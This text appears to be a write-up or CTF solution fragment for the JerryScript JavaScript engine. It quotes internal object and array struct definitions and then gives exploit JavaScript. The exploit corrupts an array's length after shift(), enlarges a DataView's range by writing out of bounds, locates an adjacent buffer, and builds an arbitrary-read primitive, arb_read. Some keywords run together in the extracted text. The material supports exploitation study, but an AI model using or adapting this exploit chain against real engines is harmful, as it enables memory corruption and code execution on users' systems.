typedefstruct { /** type : 4 bit : ecma_object_type_t or ecma_lexical_environment_type_t depending on ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV flags : 2 bit : ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV, ECMA_OBJECT_FLAG_EXTENSIBLE or ECMA_OBJECT_FLAG_BLOCK refs : 10 / 26 bit (max 1022 / 67108862) */ ecma_object_descriptor_t type_flags_refs;
/** next in the object chain maintained by the garbage collector */ jmem_cpointer_t gc_next_cp;
/** compressed pointer to property list or bound object */ union { jmem_cpointer_t property_list_cp; /**< compressed pointer to object's * or declerative lexical environments's property list */ jmem_cpointer_t bound_object_cp; /**< compressed pointer to lexical environments's the bound object */ jmem_cpointer_t home_object_cp; /**< compressed pointer to lexical environments's the home object */ } u1;
/** object prototype or outer reference */ union { jmem_cpointer_t prototype_cp; /**< compressed pointer to the object's prototype */ jmem_cpointer_t outer_reference_cp; /**< compressed pointer to the lexical environments's outer reference */ } u2; } ecma_object_t;
/** * Description of extra fields. These extra fields depend on the object type. */ union { ... struct { ... union { ... } u1; /** * Description of 16 bit extra fields. These extra fields depend on the type. */ union { ... } u2; /** * Description of 32 bit / value. These extra fields depend on the type. */ union { ... } u3; } cls;
/** * Description of function objects. */ struct { ... } function;
/** * Description of array objects. */ struct { uint32_t length; /**< length property value */ uint32_t length_prop_and_hole_count; /**< length property attributes and number of array holes in * a fast access mode array multiplied ECMA_FAST_ACCESS_HOLE_ONE */ } array;
/** * Description of bound function object. */ struct { ... } bound_function; ... } u; } ecma_extended_object_t;
ecma_value_t ecma_make_length_value(ecma_length_t number)/**< number to be encoded */ { if (number <= ECMA_INTEGER_NUMBER_MAX) { return ecma_make_integer_value ((ecma_integer_value_t) number); }
externinlineecma_value_t JERRY_ATTR_CONST JERRY_ATTR_ALWAYS_INLINE ecma_make_integer_value(ecma_integer_value_t integer_value)/**< integer number to be encoded */ { JERRY_ASSERT (ECMA_IS_INTEGER_NUMBER (integer_value));
functionl32(data){ let result = 0; for(let i=0;i<4;i++){ result <<= 8; result |= data & 0xff; data >>= 8; } return result; }
let a = [1.1]; a.shift(); var ab = newArrayBuffer(0x1337); var dv = newDataView(ab); dv.setUint32(0, 0x41414141, true); dv.setUint32(4, 0x42424242, true);
var ab2 = newArrayBuffer(0x1338); var dv2 = newDataView(ab2);
var dv2 = newDataView(ab2); for(let i = 0; i < 90; i++){ dv2 = newDataView(ab2); } a[391] = 0xffffff; print("[+]change dv range"); var idx = 0; for(let i = 0; i < 1000000; i ++){ } for (let i = 1; i < 0xf000; i++){ let v = dv.getUint32(i, 1); if(v == 0x1338){ idx = i; } } print("Get idx!");
functionarb_read(addr){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); for(let i = 0; i < 1000000; i ++){ } let result = newUint32Array(2); result[0] = dv2.getUint32(0, 1); result[1] = dv2.getUint32(4, 1); return result; }